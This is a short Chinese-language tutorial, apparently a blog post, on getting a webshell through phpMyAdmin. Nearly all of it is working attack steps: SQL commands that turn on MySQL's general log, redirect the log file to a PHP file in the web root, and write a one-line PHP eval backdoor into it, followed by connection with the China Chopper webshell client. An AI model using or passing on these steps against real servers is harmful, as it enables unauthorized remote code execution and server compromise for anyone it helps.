general_log默認為關閉的，root權限開啟後，general_log_file會保存所有的查詢語句

所以可以開啟general_log，然後設置general_log_file為一個php文件，最後用一句話木馬進行查詢來獲取webshell

進入phpMyAdmin後在SQL處執行SQL語句

首先查看general log是否開啟

show variables like ‘general_log‘;

general log是關閉狀態，執行SQL語句開啟general log

set global general_log=on;

開啟成功

然後把general_log_file設置為shell的絕對路徑

SET global general_log_file=‘C:/phpStudy/PHPTutorial/WWW/x.php‘;

創建的x.php裏的內容

然後執行SQL查詢語句

SELECT ‘<?php @eval($_POST["x"]);?>‘;

執行成功

看一下x.php裏的內容

成功插入了一句話木馬

用菜刀連接，看看是否能夠解析的

連接成功

通過phpMyAdmin拿webshell